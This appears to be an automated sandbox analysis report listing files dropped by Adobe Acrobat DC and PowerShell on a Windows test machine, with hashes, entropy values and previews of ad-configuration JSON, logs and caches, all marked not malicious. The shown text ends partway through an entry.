C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.227084912422122
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzesrFvHYwlp2vB3/dVlPIHAR0YqXRJHKoAvJfbPtdPeUkwRe9:YvXKXzBrFgWp2vR/ZwHAuXvH5GDV8Uk3
MD5:	AAD2A36D72D9337280A436F3630CEB31
SHA1:	F37B05CDD6522AA133BF1792E1B08F7E98CD2854
SHA-256:	228AE8EA28499919267841BBD169C9EE69CA20065079F35ABF87CD864B192AA1
SHA-512:	D95CE666C166B8A9145E1A68A670C508733F542D40DA9B1D92E6C52DB1972E8F3BD0CAB03BD470A591ADE603B20CCFA7348AB3783B89A7797D5BA09B7DC2D266
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1787e8ef-1fee-4bc9-9ad3-7b3a9c98dc73","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708067904,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.225340932251923
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzesrFvHYwlp2vB3/dVlPIHAR0YqXRJHKoAvJf21rPeUkwRe9:YvXKXzBrFgWp2vR/ZwHAuXvH5G+16Uk3
MD5:	1C380EA6A6F3C1984E557361679CF10A
SHA1:	F4C0668A16871753ED17A6D84D76D363BBF1B426
SHA-256:	24D83C5D2E96C48A57EC035EAB560011D3562D9F5B75F49945483E51373CE30E
SHA-512:	CB3EDF21E71FBA6042824BB71C9704E5DB81D8D63A8B617AAEC0A4F7F76BDCB5B2CF49E31467540733EC2621432D43A5FEBF0F51EBB640BCD4BC4BDFF73BBAC8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1787e8ef-1fee-4bc9-9ad3-7b3a9c98dc73","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708067904,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.661280275855089
Encrypted:	false
SSDEEP:	24:Yv6Xz/gs2JhQ6amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSh:Yv2/SJhQ0BgkDMUJUAh8cvMh
MD5:	9253CAF71A3AC76654DDCD88BFE30677
SHA1:	EE352E313F9ED16343141B4B150DB00472D91C2D
SHA-256:	9749C524C948507873620B10B0BFA7DDFC8B10FED4D2F4058B3C785082A3661D
SHA-512:	48145719C7C80177AF859F4398A5C6D8995E439F05FD789227313E90DADF960E61B1BB7E352B30CF6B5C796C800CF811075FA5E67CC2E8403C752173E58B97C6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1787e8ef-1fee-4bc9-9ad3-7b3a9c98dc73","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708067904,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.200292787827209
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzesrFvHYwlp2vB3/dVlPIHAR0YqXRJHKoAvJfshHHrPeUkwRe9:YvXKXzBrFgWp2vR/ZwHAuXvH5GUUUke6
MD5:	8752652D14EB55A53899598C696DC2D4
SHA1:	A76247DFCD1108C0E66EEA39E8919D1FD237196C
SHA-256:	B738686337806489F8D5E030DCA5E1467763519356BDDC5048FFEA3B8B8A6E4D
SHA-512:	D9AFEB5DE6DF21AE3360F090ACFB9E35283C550CD3F8B2BA758F3C02CDDFC7C4BB94BFE89A76901B8F9431CF8CE29ECE7B0C731ADC3EB26FF8E45294E6628C5D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1787e8ef-1fee-4bc9-9ad3-7b3a9c98dc73","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708067904,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.226793389715228
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzesrFvHYwlp2vB3/dVlPIHAR0YqXRJHKoAvJTqgFCrPeUkwRe9:YvXKXzBrFgWp2vR/ZwHAuXvH5GTq16UU
MD5:	D5D5E9934758B15A5490DB9A92F87168
SHA1:	33E1D48E51D4728D7C590139BDAFE9EC00581A7D
SHA-256:	0C798D2D0D0207102943F45F6C9D16C85E07E4FC71FFC8B94F01D6876A7FB4EE
SHA-512:	E2AB1C8A164D98652DA4DAE66C725E3D1BB462BBA88A5DCFE89EA28586C644CF47EEAB99E053EB0A63CC08500690AC2D5D99D805CEB04E57FCFDB6E7CE157A20
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1787e8ef-1fee-4bc9-9ad3-7b3a9c98dc73","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708067904,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1394638429981425
Encrypted:	false
SSDEEP:	24:Y+UMa+SEBayUZBcPkexI1kiugUvSQTEjydosj0SIWTxw2tb72LSSCbTxbJbL75Ix:Y+BvFByydo+PGq/w+TxblPcP9gq
MD5:	23A3B3F14D793AEE4C8176342B42E7A7
SHA1:	E27BABFBE689F9842097E01498836F9243C38146
SHA-256:	B472CE5F5BC8515BD45232B7F40D7BB787396BD1C9B05B846F89D0799401C7D2
SHA-512:	77277656DC78E7E65F930D7FCA3E0A3057AB7FB6E383260F8A9266279EA1B7C3940DAADB9FD23E0D700B7118CF5F0035D4B126F5E68DD6BDC2F7BBF1E82D9D79
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"932c2ddb362c4374e6e8e5562e4409cb","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736531382000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"70438159ef8ac968e14134fe36d5f0a2","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736531382000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"c2beb62fcbf80ed982b6ece8510f81c4","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736531382000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"60819b1d7fec6ab894de6d31b57967a0","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736531382000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"a79c2da4d68d7dea63adc18f8bfe0aaf","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736531382000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"34c180e5b0e83d51166cb647c6217007","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3189279354434855
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMentqVpam:TGufl2GL7ms9WR1CPmPbPahtypilIb
MD5:	9652FB5CA3C1C5B78616625293517019
SHA1:	0D4F49C74455F9FD6BA040C723D39301E2D8E29C
SHA-256:	5FD6B44EAE613D712EF1D0F0D4345E76237DEF9B8EE7FCC14C20808527E0FEBF
SHA-512:	D5898CA128A8BA09EB876D384A00E51FFEC36B99CC2C74A0EF006DC698BAEA387EE9297529B6A1370F0AE4790C220C15A4F7D4F0D09755A7CD59F6A5F5A5EEE0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7813741327907326
Encrypted:	false
SSDEEP:	24:7+t7lhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMen4qVpaVrScVr0InYqLhx/X3:7MwWR1CPmPbPah4ypilIxqFl2GL7msB
MD5:	A63C05FAF7FAE9C0455FF195B030BACC
SHA1:	A9A367ACD90BDCA0D1AA26F344E8810260A6D51E
SHA-256:	33D364840BBDD8F3416B6A9580D6B9CA174FEA739C9EB084E0EB26200E1C3D51
SHA-512:	05AF71FDE5F2C98C4073AB44B79DD107B16C93461F157D3460199C827588340DF971ECD9216C9C8805D808387396BEF38C0B4B18C521F30B1FB7F498D703C8F6
Malicious:	false
Preview:	.... .c........$..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgAryzUHcJhj1kvLung4zhQWzYyu:6a6TZ44ADEAroUHcj1OYlK
MD5:	A0D428BCC2191D9079D403593ADA79CA
SHA1:	21714E3722855B8CF2A4C9D89385E754846B98A5
SHA-256:	8E016E3B852EBF496BCD062C5D7D09ADD314D6A711C27984C46C7EAB53BACEB3
SHA-512:	C85A4D2B90A31EB98DA728C6DBBE4A62C37F5ABFE3548E328004D6616CFAD98604FED28D6ED46A716A8200B0344D390D591C1330D71B0B17ACE28802F543B178
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/nq/llh:NllUyt
MD5:	AB80AD9A08E5B16132325DF5584B2CBE
SHA1:	F7411B7A5826EE6B139EBF40A7BEE999320EF923
SHA-256:	5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
SHA-512:	9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI26ce2.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.513199765407527
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE34V:Qw946cPbiOxDlbYnuRK+bD34V
MD5:	3C226002EB30B10707C6F86C45FA6EC6
SHA1:	7A5B470017F0B8A7E0E88EEDE8369520C06D972B
SHA-256:	ADAC7E091F53522FBCCA250BEBA0A7EC6FA36B9CB0E1B420B7AD0116A7E8A17C
SHA-512:	416D8C1FEA9D65A8D439FE68B75920706BF6D5BA5BA6BF140DA70DFDA7DCC2278D55275BC896C2E6B7F359E374151CED0B5B60E8EEF7CF304AFC98BBF1859DCC
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.2.:.4.9.:.4.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cgojodp3.e1v.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ed31nngf.jql.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 12-49-35-981.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.356738327051575
Encrypted:	false
SSDEEP:	384:/LFCCg3DgvSs/fxXx427ewgFJyvHqyWpGM7lnrFaEo41/3g/9kylFIFYdm0dsLbq:Mg5
MD5:	9E983B9AC0C2972D5FF9069480FBAA6B
SHA1:	319F010C0CA33C285012E08CACEE71C5C842173B
SHA-256:	F5D9C7EDEB031417E6F1B6304BCEC6431435FC6F48272C13577269EA12C229DC
SHA-512:	0569BFC90EB1179D3A461A1FAE70EBF2424BF1F91C65515B38DB34038BD6F37C6FC06AE133C20FDD61EF7B7BFFFC0A6BC8543E4E1F7A7F21C70D9AF1CD1E170A
Malicious:	false
Preview:	SessionID=8713e608-14bd-4531-9864-2ef3479e5532.1736531375994 Timestamp=2025-01-10T12:49:35:994-0500 ThreadID=7452 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=8713e608-14bd-4531-9864-2ef3479e5532.1736531375994 Timestamp=2025-01-10T12:49:35:995-0500 ThreadID=7452 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=8713e608-14bd-4531-9864-2ef3479e5532.1736531375994 Timestamp=2025-01-10T12:49:35:995-0500 ThreadID=7452 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=8713e608-14bd-4531-9864-2ef3479e5532.1736531375994 Timestamp=2025-01-10T12:49:35:995-0500 ThreadID=7452 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=8713e608-14bd-4531-9864-2ef3479e5532.1736531375994 Timestamp=2025-01-10T12:49:35:996-0500 ThreadID=7452 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.411545666451671
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbZHcbmITjcbh:ceo4+rsCnUTw
MD5:	6456340957C409A825FC4685F3B1A6F0
SHA1:	E85FED638369FCA900B317911DD522814677BBDF
SHA-256:	4A473324927CDF9DDB3AFB64FC028D4D06561A5C888F9A482BB00712F87EB6DD
SHA-512:	5E9EE477A83F7ADC28F63FBA043AF62B251CD2CBC4AD3E7C0EF625E74691548711999CA3D4EC7C5C960AE6C8BBD45334A44B26445D30B7BBC812B5E7E6D94E58
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0b9c2fda-6a96-4c26-99c7-2078148cb124.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\3f4000ef-3899-4ab7-93fd-9c24c471bbc7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\9b7c4861-783c-495a-bc5f-335f6f00ae2d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
